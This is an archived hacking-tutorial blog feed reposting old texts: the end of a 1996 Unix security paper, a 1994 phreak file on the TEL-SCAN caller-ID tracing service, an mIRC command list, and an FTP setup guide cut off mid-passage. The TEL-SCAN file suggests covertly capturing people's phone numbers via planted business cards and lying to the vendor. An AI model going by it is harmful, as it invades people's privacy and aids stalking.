&lt;br /&gt;and I am sorry if have have over looked a paper.
&lt;br /&gt;
&lt;br /&gt;(1) The Rainbow books is a long series of free books on computer security.
&lt;br /&gt;US citizens can get the books from:
&lt;br /&gt;
&lt;br /&gt;	INFOSEC AWARENESS OFFICE
&lt;br /&gt;	National Computer Security Center
&lt;br /&gt;	9800 Savage Road
&lt;br /&gt;	Fort George G. Meader, MD 20755-600
&lt;br /&gt;
&lt;br /&gt;We other just have to read the papers on the World Wide Web. Every
&lt;br /&gt;paper can not however be found on the Internet.
&lt;br /&gt;
&lt;br /&gt;(2) "Improving the security of your Unix system" by Curry  is also very
&lt;br /&gt;nice if you need the very basic things. If you don't now anything about
&lt;br /&gt;computer security you can't find a better start. 
&lt;br /&gt;
&lt;br /&gt;(3) "The WWW security FAQ" by Stein is although it deal with W3-security
&lt;br /&gt;the very best better on the Internet about computer security.
&lt;br /&gt;
&lt;br /&gt;(4) CERT have aklso published several good papers, for example:
&lt;br /&gt;
&lt;br /&gt;	- Anonymous FTP Abuses.
&lt;br /&gt;	- Email Bombing and Spamming.
&lt;br /&gt;	- Spoofed/Forged Email.
&lt;br /&gt;	- Protecting yourself from password file attacks.
&lt;br /&gt;
&lt;br /&gt;I think however that the last paper have overlooked several things.
&lt;br /&gt;
&lt;br /&gt;(5) For a long list on papers I can recommend:
&lt;br /&gt;"FAQ: Computer Security Frequently Asked Questions".
&lt;br /&gt;
&lt;br /&gt;(6) Also see section ".G. SUGGESTED READING"
&lt;br /&gt;
&lt;br /&gt;You should also get some big good commercial book, but I don't want
&lt;br /&gt;to recommend any.
&lt;br /&gt;
&lt;br /&gt;.F.2. MONITORING PERFORMANCE
&lt;br /&gt;----------------------------
&lt;br /&gt;
&lt;br /&gt;.F.2.1. INTRODUCTION
&lt;br /&gt;--------------------
&lt;br /&gt;
&lt;br /&gt;There is several commands and services that can be used for
&lt;br /&gt;monitoring performance. And at least two good free programs can
&lt;br /&gt;be found on Internet.
&lt;br /&gt;
&lt;br /&gt;.F.2.2. COMMANDS AND SERVICES
&lt;br /&gt;-----------------------------
&lt;br /&gt;
&lt;br /&gt;For more information read the man text.
&lt;br /&gt; 
&lt;br /&gt;netstat		Show network status.
&lt;br /&gt;nfsstat		Show NFS statistics.
&lt;br /&gt;sar		System activity reporter.
&lt;br /&gt;vmstat		Report virtual memory statistics.
&lt;br /&gt;timex		Time a command, report process data and system
&lt;br /&gt;		activity.
&lt;br /&gt;time 		Time a simple command.
&lt;br /&gt;truss		Trace system calls and signals.
&lt;br /&gt;uptime		Show how long the system has been up.
&lt;br /&gt;
&lt;br /&gt;Note that if a public netstat server can be found you might be able
&lt;br /&gt;to use netstat from the outside. netstat can also give information
&lt;br /&gt;like tcp sequence numbers and much more.
&lt;br /&gt;
&lt;br /&gt;.F.2.3. PROGRAMS
&lt;br /&gt;----------------
&lt;br /&gt;
&lt;br /&gt;Proctool: Proctool is a freely available tool for Solaris that monitors
&lt;br /&gt;and controls processes.
&lt;br /&gt;	ftp://opcom.sun.ca/pub/binaries/
&lt;br /&gt;	
&lt;br /&gt;Top: Top might be a more simple program than Proctool, but is
&lt;br /&gt;good enough.
&lt;br /&gt;
&lt;br /&gt;.F.2.4. ACCOUNTING
&lt;br /&gt;------------------
&lt;br /&gt;
&lt;br /&gt;To monitor performance you have to collect information over a long 
&lt;br /&gt;period of time. All Unix systems have some sort of accounting logs
&lt;br /&gt;to identify how much CPU time, memory each program uses. You should
&lt;br /&gt;check your manual to see how to set this up.
&lt;br /&gt;
&lt;br /&gt;You could also invent your own account system by using crontab and
&lt;br /&gt;a script with the commands you want to run. Let crontab run the script
&lt;br /&gt;every day and compare the information once a week. You could for
&lt;br /&gt;example let the script run the following commands:
&lt;br /&gt;
&lt;br /&gt;	- netstat
&lt;br /&gt;	- iostat -D
&lt;br /&gt;	- vmstat
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;.G. SUGGESTED READING
&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~
&lt;br /&gt;
&lt;br /&gt;.F.1. INFORMATION FOR DEEPER KNOWLEDGE
&lt;br /&gt;-------------------------------------
&lt;br /&gt;
&lt;br /&gt;(1) Hedrick, C. Routing Information Protocol. RFC 1058, 1988.
&lt;br /&gt;(2) Mills, D.L. Exterior Gateway Protocol Formal Specification. RFC 904, 1984.
&lt;br /&gt;(3) Postel, J. Internet Control Message Protocol. RFC 792, 1981.
&lt;br /&gt;(4) Harrenstien, K. NAME/FINGER Protocol, RFC 742, 1977.
&lt;br /&gt;(5) Sollins, K.R. The TFTP Protocol, RFC 783, 1981.
&lt;br /&gt;(6) Croft, W.J. Bootstrap Protocol, RFC 951, 1985.
&lt;br /&gt;
&lt;br /&gt;Many of the papers in this category was RFC-papers. A RFC-paper
&lt;br /&gt;is a paper that describes a protocol. The letters RCS stands for
&lt;br /&gt;Request For Comment. Hosts on the Internet are expected to understand
&lt;br /&gt;at least the common ones. If you want to learn more about a protocol
&lt;br /&gt;it is always good to read the proper RFC. You can find a nice sRFC 
&lt;br /&gt;index search form at URL:
&lt;br /&gt;
&lt;br /&gt;	http://pubweb.nexor.co.uk/public/rfc/index/rfc.html
&lt;br /&gt;
&lt;br /&gt;.F.2. KEEPING UP TO DATE INFORMATION
&lt;br /&gt;------------------------------------
&lt;br /&gt;
&lt;br /&gt;(1) CERT mailing list. Send an e-mail to cert@cert.org to be placed
&lt;br /&gt;on the list.
&lt;br /&gt;(2) Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net.
&lt;br /&gt;(3) WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu.
&lt;br /&gt;(4) Sun Microsystems Security Bulletins.
&lt;br /&gt;(5) Various articles from: 		- comp.security.announce
&lt;br /&gt;					- comp.security.unix
&lt;br /&gt;					- comp.security.firewalls
&lt;br /&gt;(6) Varius 40Hex Issues.
&lt;br /&gt;
&lt;br /&gt;.F.3. BASIC INFORMATION
&lt;br /&gt;-----------------------
&lt;br /&gt;
&lt;br /&gt;(1) Husman, H. INTRODUKTION TILL DATASÄKERHET UNDER X-WINDOWS, 1995.
&lt;br /&gt;(2) Husman, H. INTRODUKTION TILL IP-SPOOFING, 1995.
&lt;br /&gt;(3) The following rainbow books:	- Teal Green Book (Glossary of
&lt;br /&gt;					Computer Security Terms).
&lt;br /&gt;					- Bright Orange Book( A Guide
&lt;br /&gt;					to Understanding Security Testing
&lt;br /&gt;					and Test Documentation in Trusted
&lt;br /&gt;					Systems).
&lt;br /&gt;					- C1 Technical Report-001 
&lt;br /&gt;					(Computer Viruses: Preventation,
&lt;br /&gt;					Detection, and Treatment).
&lt;br /&gt;(4) Ranum, Marcus. Firewalls, 1993.
&lt;br /&gt;(5) Sun Microsystems, OpenWindows V3.0.1. User Commands, 1992.
&lt;br /&gt;(6) Husman, H. ATT SPÅRA ODOKUMENTERADE SÄKERHETSLUCKOR, 1996.
&lt;br /&gt;(7) Dark OverLord, Unix Cracking Tips, 1989.
&lt;br /&gt;(8) Shooting Shark, Unix Nasties, 1988.
&lt;br /&gt;(9) LaDue, Mark.D. Hostile Applets on the Horizone, 1996.
&lt;br /&gt;(10) Curry, D.A. Improving the security of your unix system, 1990.
&lt;br /&gt;(11) Stein, L.D. The World Wide Web security FAQ, 1995.
&lt;br /&gt;(12) Bellovin, S.M. Security Problems in the TCP/IP Protocol, 1989.
&lt;br /&gt;
&lt;br /&gt;.H. COPYRIHT
&lt;br /&gt;------------
&lt;br /&gt;
&lt;br /&gt;This paper is Copyright (c) 1996 by Hans Husman.
&lt;br /&gt;
&lt;br /&gt;Permission is hereby granted to give away free copies electronically. You
&lt;br /&gt;may distribute, transfer, or spread this paper electronically. You may not
&lt;br /&gt;pretend that you wrote it. This copyright notice must be maintained in any
&lt;br /&gt;copy made. If you wish to reprint the whole or any part of this paper in any
&lt;br /&gt;other medium excluding electronic medium, please ask the author for
&lt;br /&gt;permission.
&lt;br /&gt;
&lt;br /&gt;.I. DISCLAIMER
&lt;br /&gt;--------------
&lt;br /&gt;
&lt;br /&gt;The information within this paper may change without notice. Use of this
&lt;br /&gt;information constitutes acceptance for use in an AS IS condition. There are
&lt;br /&gt;NO warranties with regard to this information. In no event shall the author
&lt;br /&gt;be liable for any damages whatsoever arising out of or in connection with
&lt;br /&gt;the use or spread of this information. Any use of this information is at the
&lt;br /&gt;user's own risk.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;	
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-5523119572727523229?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ETbu8tH2MIS3xNSccLMnIizYrmU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ETbu8tH2MIS3xNSccLMnIizYrmU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ETbu8tH2MIS3xNSccLMnIizYrmU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ETbu8tH2MIS3xNSccLMnIizYrmU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/Ttajk0p6kWo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/5523119572727523229/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/introduction-to-denial-of-service.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5523119572727523229?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5523119572727523229?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/Ttajk0p6kWo/introduction-to-denial-of-service.html" title="An Introduction to Denial of Service" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/introduction-to-denial-of-service.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8EQXk4eip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-4896853432981760480</id><published>2009-11-03T02:38:00.000-08:00</published><updated>2009-11-03T02:40:00.732-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:40:00.732-08:00</app:edited><title>An Introduction into TeleScan</title><content type="html"> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
&lt;br /&gt; %%%                                                  %%%              tm %%%
&lt;br /&gt; %%%   %%%%%%% %%%%%%% %%%           %%%%%  %%%%%      %%%      %%%%%%    %%%
&lt;br /&gt; %%%                   %%%          %%%    %%%   %      %%%    %%%  %%%   %%%
&lt;br /&gt; %%%     %%%   %%%%%%% %%%     %%%   %%%%  %%%       %%% %%%   %%%  %%%   %%%
&lt;br /&gt; %%%     %%%   %%%     %%%             %%% %%%   %  %%%   %%%  %%%  %%%   %%%
&lt;br /&gt; %%%     %%%   %%%%%%% %%%%%%%      %%%%%   %%%%%  %%%%%%%%%%% %%%  %%%   %%%
&lt;br /&gt; %%%                                                           %%%        %%%
&lt;br /&gt; %%%                   The Ultimate Skip Tracing Weapon                   %%%
&lt;br /&gt; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 14-Feb-94 %%%%
&lt;br /&gt;INTRODUCTION
&lt;br /&gt; Whats all the hoopla? Well I've been trying to find a good ANI demo ever
&lt;br /&gt; since IIRG's went down at the first of the year [800-852-9932]. Well I
&lt;br /&gt; finally got one from The Mortician. Here it is...
&lt;br /&gt;                           8 0 0 . 7 7 5 . 5 5 1 3
&lt;br /&gt; This is an ANI demo provided by a security company called TEL-SCAN(tm). Now
&lt;br /&gt; ANI is cool and useful and everything, but it isn't hardly worthy of one of
&lt;br /&gt; my wonderful headers. But see, theres more at stake here. Call the demo and
&lt;br /&gt; get the ANI info and all that, and if you're a lamer stop there. But if
&lt;br /&gt; you're kK00l enough, stay on the line and find out more about TEL-SCAN(tm),
&lt;br /&gt; the company providing the demo.
&lt;br /&gt;THE TEL-SCAN(tm) NETWORK
&lt;br /&gt; TEL-SCAN(tm) is a Colorado based Security service that offers an improvised
&lt;br /&gt; skip-tracing method to Private Investigators, (or anyone with money and a
&lt;br /&gt; good MO). How it works is this: subscribers are provided with an 800
&lt;br /&gt; "Identifier Line" which when called automatically identifies the incoming
&lt;br /&gt; number and records it into a corresponding Voice Mail Box. The subscriber can
&lt;br /&gt; then call the Mail Box and it will relay to him all incoming calls to the
&lt;br /&gt; "Identifier Line". 2-o0 pH_ukYn /&lt;eW/! The possibilities with ANI and VMBs at
&lt;br /&gt; hand are endless!!!
&lt;br /&gt; TEL-SCAN(tm) can be used as such: Get a bunch of business cards printed with
&lt;br /&gt; the "Identifier Line" printed as your phone number. If you're looking for
&lt;br /&gt; someone, leave your card around places where they're likely to get it. When
&lt;br /&gt; they call, you've got the number they're calling from and possibly an
&lt;br /&gt; important lead. Viola! Skip-Tracing improvised. No this of course is 
&lt;br /&gt; constitutes intended use. As far as underground use goes...well...you know.
&lt;br /&gt;TEL-SCAN(tm) GEOGRAPHICALS
&lt;br /&gt; For more information on TEL-SCAN(tm) write or call::
&lt;br /&gt;                    TEL-SCAN(tm)
&lt;br /&gt;                    2641 North Taft
&lt;br /&gt;                    Loveland, CO  80538
&lt;br /&gt;                    Number: 303.663.1703
&lt;br /&gt;                       FAX: 303.663.1708
&lt;br /&gt; By the way when you call, you will be asked where you heard about TEL-
&lt;br /&gt; SCAN(tm). DO NOT say you heard it from me (duh)! Have a good one ready
&lt;br /&gt; because they will hang up on you if they think something is funny.
&lt;br /&gt;TEL-SCAN(tm) PRICES
&lt;br /&gt; This service has a one time activation fee of $67.00 dollars. Thereafter you
&lt;br /&gt; are charged $5.00 dollars everytime the service identifies a number for you.
&lt;br /&gt; You are billed monthly if applicable, but there are no mandatory monthly
&lt;br /&gt; fees. Now here's the good part: you can subscribe to the service via FAXed
&lt;br /&gt; licensing agreement at which time you will IMMEDIATLEY be issued a Mail Box
&lt;br /&gt; and a "Line Identifier". They will bill you later for the activation fee. Not
&lt;br /&gt; to shabby huh? 
&lt;br /&gt;OUTRODUCTION
&lt;br /&gt; Well thats it, and thanks again to The Mortician at Lies, Hate, and Deception
&lt;br /&gt; (LHD·) for this one. Look for other oB files (with great headers) labeled as
&lt;br /&gt; xxxxxxxx.oB. These files can be found at...
&lt;br /&gt; .%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.
&lt;br /&gt; .%   oleBuzzard's kn0wledge phreak   %.%   sUmthyn lykE 4000+ text fylez   %.  
&lt;br /&gt; .%   AC 303.382.5968--NUP = NO NUP   %.%   hAck/phrEAk/AnArky/vIrII/cArd   %.  
&lt;br /&gt; .%   24oo-14.4ooKiloBaud-Open 24/7   %.%   n0 phUckyn lAmEr wArEz do0dz!   %.
&lt;br /&gt; .%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-4896853432981760480?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IJw7FPLGmiQYJWvi1ZNtHeh_uiE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IJw7FPLGmiQYJWvi1ZNtHeh_uiE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IJw7FPLGmiQYJWvi1ZNtHeh_uiE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IJw7FPLGmiQYJWvi1ZNtHeh_uiE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/ABxilnPelY4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/4896853432981760480/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/introduction-into-telescan.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4896853432981760480?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/4896853432981760480?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/ABxilnPelY4/introduction-into-telescan.html" title="An Introduction into TeleScan" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/introduction-into-telescan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIARXk_fCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-604466985139170016</id><published>2009-11-03T02:35:00.001-08:00</published><updated>2009-11-03T02:35:44.744-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:35:44.744-08:00</app:edited><title>All mIRC Commands</title><content type="html">All mIRC Commands&lt;br /&gt;&lt;br /&gt;/ Recalls the previous command entered in the current window.&lt;br /&gt;/! Recalls the last command typed in any window.&lt;br /&gt;/action {action text} Sends the specifed action to the active channel or query window.&lt;br /&gt;/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.&lt;br /&gt;/ame {action text} Sends the specifed action to all channels which you are currently on.&lt;br /&gt;/amsg {text} Sends the specifed message to all channels which you are currently on.&lt;br /&gt;/auser {level} {nick|address} Adds a user with the specified access level to the remote users&lt;br /&gt;list.&lt;br /&gt;/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/away {away message} Sets you away leave a message explaining that you are not currently paying&lt;br /&gt;attention to IRC.&lt;br /&gt;/away Sets you being back.&lt;br /&gt;/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.&lt;br /&gt;/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel&lt;br /&gt;Pops up the channel central window (only works in a channel).&lt;br /&gt;/clear Clears the entire scrollback buffer of the current window.&lt;br /&gt;/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on&lt;br /&gt;nickname.&lt;br /&gt;/closemsg {nickname} Closes the query window you have open to the specified nick.&lt;br /&gt;/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.&lt;br /&gt;/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.&lt;br /&gt;/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.&lt;br /&gt;/describe {#channel} {action text} Sends the specifed action to the specified channel window.&lt;br /&gt;/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other&lt;br /&gt;applications.&lt;br /&gt;/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given&lt;br /&gt;service name.&lt;br /&gt;/disable {#groupname} De-activates a group of commands or events.&lt;br /&gt;/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.&lt;br /&gt;/dlevel {level} Changes the default user level in the remote section.&lt;br /&gt;/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.&lt;br /&gt;/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place&lt;br /&gt;in color N.&lt;br /&gt;/enable {#groupname} Activates a group of commands or events.&lt;br /&gt;/events [on|off] Shows the remote events status or sets it to listening or not.&lt;br /&gt;/exit Forces mIRC to closedown and exit.&lt;br /&gt;/finger Does a finger on a users address.&lt;br /&gt;/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.&lt;br /&gt;/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.&lt;br /&gt;/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.&lt;br /&gt;/guser {level} {nick} [type] Adds the user to the user list with the specified level and&lt;br /&gt;address type.&lt;br /&gt;/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.&lt;br /&gt;/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/invite {nickname} {#channel} Invites another user to a channel.&lt;br /&gt;/join {#channel} Makes you join the specified channel.&lt;br /&gt;/kick {#channel} {nickname} Kicks nickname off a given channel.&lt;br /&gt;/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for&lt;br /&gt;parameters.&lt;br /&gt;/log [on|off] Shows the logging status or sets it on or off for the current window.&lt;br /&gt;/me {action text} Sends the specifed action to the active channel or query window.&lt;br /&gt;/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.&lt;br /&gt;/msg {nickname} {message} Send a private message to this user without opening a query window.&lt;br /&gt;/names {#channel} Shows the nicks of all people on the given channel.&lt;br /&gt;/nick {new nickname} Changes your nickname to whatever you like.&lt;br /&gt;/notice {nick} {message} Send the specified notice message to the nick.&lt;br /&gt;/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.&lt;br /&gt;/onotice [#channel] {message} Send the specified notice message to all channel ops.&lt;br /&gt;/omsg [#channel] {message} Send the specified message to all ops on a channel.&lt;br /&gt;/part {#channel} Makes you leave the specified channel.&lt;br /&gt;/partall Makes you leave all channels you are on.&lt;br /&gt;/ping {server address} Pings the given server. NOT a nickname.&lt;br /&gt;/play [-c] {filename} [delay] Allows you to send text files to a window.&lt;br /&gt;/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.&lt;br /&gt;/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off&lt;br /&gt;totally.&lt;br /&gt;/query {nickname} {message} Open a query window to this user and send them the private message.&lt;br /&gt;/quit [reason] Disconnect you from IRC with the optional byebye message.&lt;br /&gt;/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!&lt;br /&gt;/remote [on|off] Shows the remote commands status or sets it to listening or not.&lt;br /&gt;/rlevel {access level} Removes all users from the remote users list with the specified access&lt;br /&gt;level.&lt;br /&gt;/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.&lt;br /&gt;/ruser {nick[!]|address} [type] Removes the user from the remote users list.&lt;br /&gt;/save {filename.ini} Saves remote sections into a specified INI file.&lt;br /&gt;/say {text} Says whatever you want to the active window.&lt;br /&gt;/server [server address [port] [password]] Reconnects to the previous server or a newly&lt;br /&gt;specified one.&lt;br /&gt;/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.&lt;br /&gt;/speak {text} Uses the external text to speech program Monologue to speak up the text.&lt;br /&gt;/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.&lt;br /&gt;/time Tells you the time on the server you use.&lt;br /&gt;/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.&lt;br /&gt;/topic {#channel} {newtopic} Changes the topic for the specified channel.&lt;br /&gt;/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.&lt;br /&gt;/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.&lt;br /&gt;/uwho [nick] Pops up the user central with information about the specified user.&lt;br /&gt;/who {#channel} Shows the nicks of all people on the given channel.&lt;br /&gt;/who {*address.string*} Shows all people on IRC with a matching address.&lt;br /&gt;/whois {nickname} Shows information about someone in the status window.&lt;br /&gt;/whowas {nickname} Shows information about someone who -just- left IRC.&lt;br /&gt;/wavplay {c:\path\sound.wav} Locally plays the specified wave file.&lt;br /&gt;/write [-cidl] {filename} [text] To write the specified text to a .txt file.&lt;br /&gt;&lt;br /&gt;MoViEBoT #xdcc-help /server irc.atomic-irc.net&lt;br /&gt;&lt;br /&gt;We strive to make IRC easier for you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-604466985139170016?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0EqsjH9z7jEilL6Vz6mCkcRhrOQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0EqsjH9z7jEilL6Vz6mCkcRhrOQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0EqsjH9z7jEilL6Vz6mCkcRhrOQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0EqsjH9z7jEilL6Vz6mCkcRhrOQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/0lJFBC7jK18" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/604466985139170016/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/all-mirc-commands.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/604466985139170016?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/604466985139170016?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/0lJFBC7jK18/all-mirc-commands.html" title="All mIRC Commands" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/all-mirc-commands.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUESH0zcSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-1178315573842521640</id><published>2009-11-03T02:29:00.002-08:00</published><updated>2009-11-03T02:30:09.389-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:30:09.389-08:00</app:edited><title>All about ftp must read</title><content type="html">Setting Up A Ftp:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, since many of us have always wondered this, here it is. Long and drawn out. Also, before attempting this, realize one thing; You will have to give up your time, effort, bandwidth, and security to have a quality ftp server.&lt;br /&gt;That being said, here it goes. First of all, find out if your IP (Internet Protocol) is static (not changing) or dynamic (changes everytime you log on). To do this, first consider the fact if you have a dial up modem. If you do, chances are about 999 999 out of 1 000 000 that your IP is dynamic. To make it static, just go to a place like h*tp://www.myftp.org/ to register for a static ip address.&lt;br /&gt;&lt;br /&gt;You'll then need to get your IP. This can be done by doing this:&lt;br /&gt;Going to Start -&gt; Run -&gt; winipcfg or www.ask.com and asking 'What is my IP?'&lt;br /&gt;&lt;br /&gt;After doing so, you'll need to download an FTP server client. Personally, I'd recommend G6 FTP Server, Serv-U FTPor Bullitproof v2.15 all three of which are extremely reliable, and the norm of the ftp world.&lt;br /&gt;You can download them on this site: h*tp://www.liaokai.com/softw_en/d_index.htm&lt;br /&gt;&lt;br /&gt;First, you'll have to set up your ftp. For this guide, I will use step-by-step instructions for G6. First, you'll have to go into 'Setup -&gt; General'. From here, type in your port # (default is 21). I recommend something unique, or something a bit larger (ex: 3069). If you want to, check the number of max users (this sets the amount of simultaneous maximum users on your server at once performing actions - The more on at once, the slower the connection and vice versa).&lt;br /&gt;&lt;br /&gt;The below options are then chooseable:&lt;br /&gt;-Launch with windows&lt;br /&gt;-Activate FTP Server on Start-up&lt;br /&gt;-Put into tray on startup&lt;br /&gt;-Allow multiple instances&lt;br /&gt;-Show "Loading..." status at startup&lt;br /&gt;-Scan drive(s) at startup&lt;br /&gt;-Confirm exit&lt;br /&gt;&lt;br /&gt;You can do what you want with these, as they are pretty self explanatory. The scan drive feature is nice, as is the 2nd and the last option. From here, click the 'options' text on the left column.&lt;br /&gt;&lt;br /&gt;To protect your server, you should check 'login check' and 'password check', 'Show relative path (a must!)', and any other options you feel you'll need. After doing so, click the 'advanced' text in the left column. You should then leave the buffer size on the default (unless of course you know what you're doing ), and then allow the type of ftp you want.&lt;br /&gt;&lt;br /&gt;Uploading and downloading is usually good, but it's up to you if you want to allow uploads and/or downloads. For the server priority, that will determine how much conventional memory will be used and how much 'effort' will go into making your server run smoothly.&lt;br 